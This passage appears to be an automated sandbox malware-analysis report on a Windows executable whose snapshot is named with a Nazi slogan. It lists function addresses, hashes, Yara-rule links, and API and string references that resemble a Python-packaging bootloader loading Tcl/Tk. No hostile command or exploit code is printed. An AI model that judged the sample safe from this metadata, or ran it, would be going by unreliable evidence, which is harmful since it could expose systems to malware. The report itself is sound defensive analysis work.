Instruction ID: 9af360680d7e93afb08e8858cfa49cdc6dbfca5280bc287a640f8b7e9b6653cf
Opcode Fuzzy Hash: aa73bfa000bc8cd66a05f12d530b76a597660d7bda6a6781f52cf2f49ffced0b
Instruction Fuzzy Hash: FAB17D7291878585E7648F79C05223C3BB0FB49F48F284239CA4EA7395CF39D841E744

Function 00007FF633D7E570 Relevance: .2, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9611c2e0762efa78d7f6da3d8515592aa8d86601c49200b7335873453b670326
Instruction ID: f3a369d03b68085ac22b09b61201810031b7f63a1375baeb0e366a9fb982d0b8
Opcode Fuzzy Hash: 9611c2e0762efa78d7f6da3d8515592aa8d86601c49200b7335873453b670326
Instruction Fuzzy Hash: 7D81F572A0C78186EB74CF5994823BA7A91FB857D4F544335DA8D93BA9DF3DE400AB00

Function 00007FF633D86418 Relevance: .2, Instructions: 183COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: c4c9f5a32dfdae123a950871ad542e5144b1bba19a2b1a1cf20ca827a7dd530f
Instruction ID: f8bae45af86551e0194db111c754791c73dc4c96138ac3f38f0d6abbe4242f21
Opcode Fuzzy Hash: c4c9f5a32dfdae123a950871ad542e5144b1bba19a2b1a1cf20ca827a7dd530f
Instruction Fuzzy Hash: 6961F022E0D2964AFB648EB8945363D6680AF40770F541379EB1DEBBD5EE7DF800A700

Function 00007FF633D72164 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e69dfdcc94a0aa650623f7423aa354004c1f2fa01d5c1268249020d4c21f447
Instruction ID: 4a28df46d5ecbcf5a5b662d41b55069c4563ffd3c99766e25f743ff52653e9dd
Opcode Fuzzy Hash: 8e69dfdcc94a0aa650623f7423aa354004c1f2fa01d5c1268249020d4c21f447
Instruction Fuzzy Hash: 94519336A1869586E7248F69C44223833A1FB54B68F284235CE8DA7794CF3AE943E740

Function 00007FF633D71944 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68a3f5aab59b2fac328bd6ba34d5b1cd1fa94c6914f84dc4a79da3b9d8ff9a98
Instruction ID: 90475f0fd0d7d088c2114eb0507e0294339e14a51f3425513cb590e4e8a7c3a8
Opcode Fuzzy Hash: 68a3f5aab59b2fac328bd6ba34d5b1cd1fa94c6914f84dc4a79da3b9d8ff9a98
Instruction Fuzzy Hash: E351A176A1865186E7248F69C04627837A0FB45F68F244331CE9DA77A4DF3AE843E740

Function 00007FF633D71D54 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27099d1c67046ba5536a5c52bb1b19252402c8bb4a5167aa336477e7b6d5f807
Instruction ID: 8c8c53186f5a4a86dfade6a52309069fc3799063abd488257601886f5d61ad5f
Opcode Fuzzy Hash: 27099d1c67046ba5536a5c52bb1b19252402c8bb4a5167aa336477e7b6d5f807
Instruction Fuzzy Hash: A0518376A28A5182E7248F69C04137837A1EB45F68F244331DE8DA7795DF3AE853DB40

Function 00007FF633D71B50 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc981bf603441a130e1c6ba5e96f77be0c3c60e19ec03e3d560a09712d731568
Instruction ID: 3d30e22eac2da69a26b189011b0e9b9a4b641136967f0424b5988d76506766e5
Opcode Fuzzy Hash: dc981bf603441a130e1c6ba5e96f77be0c3c60e19ec03e3d560a09712d731568
Instruction Fuzzy Hash: 3851B136A18A5186E7258FA9C04633877A1EB45F58F285331DE4CA7794DF3AEC43E740

Function 00007FF633D71F60 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e734bc54909bdf7d9c6fd1772be64da5dc64d4f5bf3044a39ac3ba7850561882
Instruction ID: 915d9ae5f0f63b84579358a11b4abef7d190fcc271556e85ceb0368ff4a4a467
Opcode Fuzzy Hash: e734bc54909bdf7d9c6fd1772be64da5dc64d4f5bf3044a39ac3ba7850561882
Instruction Fuzzy Hash: DA51A137A1869186E7248F69C04633877A0EB44F58F244331CE4CA77A9CF3AE853E740

Function 00007FF633D71740 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3943df286285c50b07f09d339b53caaa0afa34ddfac4fad96d8a3f7ffd6ad23b
Instruction ID: e932a840f88a994914cd9f2d058417239f7ab6cdb26019f3a725234717a1ef00
Opcode Fuzzy Hash: 3943df286285c50b07f09d339b53caaa0afa34ddfac4fad96d8a3f7ffd6ad23b
Instruction Fuzzy Hash: 0B515E76A1865186E7348F69C04627C37A1EB49B58F284331CE4DA7799CF3AEC53E780

Function 00007FF633D75D30 Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dde3b7cfbcf26fc8d7513faefc9a59c4b8821272907dfbb35b6db6355186da00
Instruction ID: da1be9170bb503dff77425e728863b08797a0ab264545c8ff2b6099e016c6346
Opcode Fuzzy Hash: dde3b7cfbcf26fc8d7513faefc9a59c4b8821272907dfbb35b6db6355186da00
Instruction Fuzzy Hash: 7641E562C1D78A05EDA98DDC050A6B827829F12BA0F5813B5DDADB73C3DD0D6586E203

Function 00007FF633D79EA0 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 1c7003d4bfacf113f63307708dabd17e5ede6cda44dccf6aa27d02a6b9ea0481
Instruction ID: 66d7bf529f6aef5a0606e74924a7c16ee4c844b59739c0ac9b9a944361dfab64
Opcode Fuzzy Hash: 1c7003d4bfacf113f63307708dabd17e5ede6cda44dccf6aa27d02a6b9ea0481
Instruction Fuzzy Hash: CA412522714A5582EF04CFAAD925579B3A1FB48FC0B499636EE0DE7B58EE3DD0529300

Function 00007FF633D780E4 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b8cddb4ee5dd57f1c7573491c8f445712dd312cb7e9e547cfd0f9c072f4c0c7
Instruction ID: 5dc3445b0b061483ad8436e507d0d7ec47e32ef1d2347056d39645f25f8b1a2d
Opcode Fuzzy Hash: 2b8cddb4ee5dd57f1c7573491c8f445712dd312cb7e9e547cfd0f9c072f4c0c7
Instruction Fuzzy Hash: 8B31D532B09B4241E7649F65A84213EBAD5AF84BD0F544338EE8DA7BD5DF3CD0129704

Function 00007FF633D89570 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d3ac10822f6242d2b374fc0e1218152d8e80c351f0dfcd4fab21387456caa74
Instruction ID: a25b464db52bd6f6cc4b4066ae64ba2c9e6b0e4b40955be02976ff23651c9a75
Opcode Fuzzy Hash: 5d3ac10822f6242d2b374fc0e1218152d8e80c351f0dfcd4fab21387456caa74
Instruction Fuzzy Hash: 15F04471B182958ADB988FADA40362977D1F7083C0F449139D58DC3F04DE3C90519F04

Function 00007FF633D6D30C Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c3909751b2697c6481bc0460501d6177e5cf72f77169ad8285d6e0cd944102a
Instruction ID: e3ecd5e42d6249402766b6146058c56e86eb0c910cc396ae47fa564b29b5e17c
Opcode Fuzzy Hash: 3c3909751b2697c6481bc0460501d6177e5cf72f77169ad8285d6e0cd944102a
Instruction Fuzzy Hash: 5BA00121D0C80AD4E6448B81A8A21252220BB95310B801231E02DB52B89E2CA504A340

Function 00007FF633D676C0 Relevance: 177.1, APIs: 66, Strings: 35, Instructions: 314libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF633D676D7
GetLastError.KERNEL32 ref: 00007FF633D676E9
GetProcAddress.KERNEL32 ref: 00007FF633D67725
GetLastError.KERNEL32 ref: 00007FF633D67737
GetProcAddress.KERNEL32 ref: 00007FF633D67750
GetLastError.KERNEL32 ref: 00007FF633D67762
GetProcAddress.KERNEL32 ref: 00007FF633D6777B
GetLastError.KERNEL32 ref: 00007FF633D6778D
GetProcAddress.KERNEL32 ref: 00007FF633D677A9
GetLastError.KERNEL32 ref: 00007FF633D677BB
GetProcAddress.KERNEL32 ref: 00007FF633D677D7
GetLastError.KERNEL32 ref: 00007FF633D677E9
GetProcAddress.KERNEL32 ref: 00007FF633D67805
GetLastError.KERNEL32 ref: 00007FF633D67817
GetProcAddress.KERNEL32 ref: 00007FF633D67833
GetLastError.KERNEL32 ref: 00007FF633D67845
GetProcAddress.KERNEL32 ref: 00007FF633D67861
GetLastError.KERNEL32 ref: 00007FF633D67873

Strings

Tcl_CreateInterp, xrefs: 00007FF633D6771B, 00007FF633D6773D
Tcl_MutexFinalize, xrefs: 00007FF633D6790F, 00007FF633D67931
Tk_Init, xrefs: 00007FF633D67C79, 00007FF633D67C9B
Tcl_EvalFile, xrefs: 00007FF633D67B93, 00007FF633D67BB5
Tcl_ThreadAlert, xrefs: 00007FF633D679F5, 00007FF633D67A17
Tcl_SetVar2, xrefs: 00007FF633D67A51, 00007FF633D67A73
Tcl_ThreadQueueEvent, xrefs: 00007FF633D679C7, 00007FF633D679E9
Tcl_GetVar2, xrefs: 00007FF633D67A23, 00007FF633D67A45
Tcl_CreateThread, xrefs: 00007FF633D67829, 00007FF633D6784B
Tcl_FindExecutable, xrefs: 00007FF633D67746, 00007FF633D67768
Tcl_Init, xrefs: 00007FF633D676D0, 00007FF633D676EF
Tcl_NewByteArrayObj, xrefs: 00007FF633D67B09, 00007FF633D67B2B
Tcl_ConditionWait, xrefs: 00007FF633D67999, 00007FF633D679BB
Tcl_ConditionFinalize, xrefs: 00007FF633D6793D, 00007FF633D6795F
Tcl_ConditionNotify, xrefs: 00007FF633D6796B, 00007FF633D6798D
Tcl_GetCurrentThread, xrefs: 00007FF633D67857, 00007FF633D67879
Tcl_DeleteInterp, xrefs: 00007FF633D677FB, 00007FF633D6781D
Tcl_Finalize, xrefs: 00007FF633D6779F, 00007FF633D677C1
Failed to get address for %hs, xrefs: 00007FF633D676F8
Tcl_JoinThread, xrefs: 00007FF633D67885, 00007FF633D678A7
Tcl_EvalObjv, xrefs: 00007FF633D67BEF, 00007FF633D67C11
Tcl_CreateObjCommand, xrefs: 00007FF633D67A7F, 00007FF633D67AA1
Tcl_MutexUnlock, xrefs: 00007FF633D678E1, 00007FF633D67903
Tcl_GetObjResult, xrefs: 00007FF633D67B65, 00007FF633D67B87
GetProcAddress, xrefs: 00007FF633D676FF
Tcl_EvalEx, xrefs: 00007FF633D67BC1, 00007FF633D67BE3
Tcl_GetString, xrefs: 00007FF633D67AAD, 00007FF633D67ACF
Tcl_FinalizeThread, xrefs: 00007FF633D677CD, 00007FF633D677EF
Tcl_DoOneEvent, xrefs: 00007FF633D67771, 00007FF633D67793
Tk_GetNumMainWindows, xrefs: 00007FF633D67CA7, 00007FF633D67CC9
Tcl_Free, xrefs: 00007FF633D67C4B, 00007FF633D67C6D
Tcl_MutexLock, xrefs: 00007FF633D678B3, 00007FF633D678D5
Tcl_Alloc, xrefs: 00007FF633D67C1D, 00007FF633D67C3F
Tcl_SetVar2Ex, xrefs: 00007FF633D67B37, 00007FF633D67B59
Tcl_NewStringObj, xrefs: 00007FF633D67ADB, 00007FF633D67AFD

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: AddressErrorLastProc
String ID: Failed to get address for %hs$GetProcAddress$Tcl_Alloc$Tcl_ConditionFinalize$Tcl_ConditionNotify$Tcl_ConditionWait$Tcl_CreateInterp$Tcl_CreateObjCommand$Tcl_CreateThread$Tcl_DeleteInterp$Tcl_DoOneEvent$Tcl_EvalEx$Tcl_EvalFile$Tcl_EvalObjv$Tcl_Finalize$Tcl_FinalizeThread$Tcl_FindExecutable$Tcl_Free$Tcl_GetCurrentThread$Tcl_GetObjResult$Tcl_GetString$Tcl_GetVar2$Tcl_Init$Tcl_JoinThread$Tcl_MutexFinalize$Tcl_MutexLock$Tcl_MutexUnlock$Tcl_NewByteArrayObj$Tcl_NewStringObj$Tcl_SetVar2$Tcl_SetVar2Ex$Tcl_ThreadAlert$Tcl_ThreadQueueEvent$Tk_GetNumMainWindows$Tk_Init
API String ID: 199729137-3427451314
Opcode ID: 939c8a0ebf27c7f5789cd4a10996167767bc86255d761b2ba34a42bc6fc861e3
Instruction ID: d3a152d9022fc5cbed8f13374cf45911348c57e92719812608b5a812cbb71400
Opcode Fuzzy Hash: 939c8a0ebf27c7f5789cd4a10996167767bc86255d761b2ba34a42bc6fc861e3
Instruction Fuzzy Hash: AB02E525E0DB0B90FA459BE5A8129B433A1BF05754F942335E43EAA3A5FF3CB559B300

Function 00007FF633D681D0 Relevance: 24.6, APIs: 6, Strings: 8, Instructions: 117COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF633D69390: MultiByteToWideChar.KERNEL32(?,?,?,00007FF633D645F4,00000000,00007FF633D61985), ref: 00007FF633D693C9

ExpandEnvironmentStringsW.KERNEL32(?,00007FF633D686B7,?,?,00000000,00007FF633D63CBB), ref: 00007FF633D6822C

Part of subcall function 00007FF633D62810: MessageBoxW.USER32 ref: 00007FF633D628EA

Strings

CreateDirectory, xrefs: 00007FF633D6837C
LOADER: failed to obtain the absolute path of the runtime-tmpdir., xrefs: 00007FF633D682D9
\, xrefs: 00007FF633D68261
LOADER: failed to create runtime-tmpdir path %ls!, xrefs: 00007FF633D68373
LOADER: failed to expand environment variables in the runtime-tmpdir., xrefs: 00007FF633D68240
%.*s, xrefs: 00007FF633D6830C
LOADER: runtime-tmpdir points to non-existent drive %ls (type: %d)!, xrefs: 00007FF633D6829D
LOADER: failed to convert runtime-tmpdir to a wide string., xrefs: 00007FF633D68203

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: ByteCharEnvironmentExpandMessageMultiStringsWide
String ID: %.*s$CreateDirectory$LOADER: failed to convert runtime-tmpdir to a wide string.$LOADER: failed to create runtime-tmpdir path %ls!$LOADER: failed to expand environment variables in the runtime-tmpdir.$LOADER: failed to obtain the absolute path of the runtime-tmpdir.$LOADER: runtime-tmpdir points to non-existent drive %ls (type: %d)!$\
API String ID: 1662231829-930877121
Opcode ID: 9187bed43bf71c5340eadf58a1920dd2feb36a2730cc38c17813087cef3183ed
Instruction ID: 16f7a4d3d11730a4688e763166bcd7f3f1033222b3c64f62f783ab04b24030c7
Opcode Fuzzy Hash: 9187bed43bf71c5340eadf58a1920dd2feb36a2730cc38c17813087cef3183ed
Instruction Fuzzy Hash: A351B721A2C64281FA509BA5E8536BA7360AF94781F845631E61FE77D5FE3CF504A300

Function 00007FF633D62180 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF633D621AB
SelectObject.GDI32 ref: 00007FF633D621F2
DrawTextW.USER32 ref: 00007FF633D62215
SelectObject.GDI32 ref: 00007FF633D6222B
ReleaseDC.USER32 ref: 00007FF633D6223B
MoveWindow.USER32 ref: 00007FF633D6228B
MoveWindow.USER32 ref: 00007FF633D622CB
MoveWindow.USER32 ref: 00007FF633D6231E
MoveWindow.USER32 ref: 00007FF633D62366

Strings

P%, xrefs: 00007FF633D621FF

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: MoveWindow$ObjectSelect$DrawReleaseText
String ID: P%
API String ID: 2147705588-2959514604
Opcode ID: 044398bc2faddcfc72e28419b1c607044beef288ba0900b5e0371f537bcab75f
Instruction ID: 15a930fb3604a091e0071d4d3dfc1e71deb172d3b171f49913c23aa53b7f5003
Opcode Fuzzy Hash: 044398bc2faddcfc72e28419b1c607044beef288ba0900b5e0371f537bcab75f
Instruction Fuzzy Hash: 6C51E726608BA186D6349F36E4181BAB7A1F798B65F004225EFDF83795DF3CD085DB10

Function 00007FF633D680C0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

GetWindowLongPtrW.USER32 ref: 00007FF633D680FF
GetWindowLongPtrW.USER32 ref: 00007FF633D6817F
ShutdownBlockReasonCreate.USER32 ref: 00007FF633D68192
GetLastError.KERNEL32 ref: 00007FF633D6819C
SetWindowLongPtrW.USER32 ref: 00007FF633D681B3

Strings

Needs to remove its temporary files., xrefs: 00007FF633D68185

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

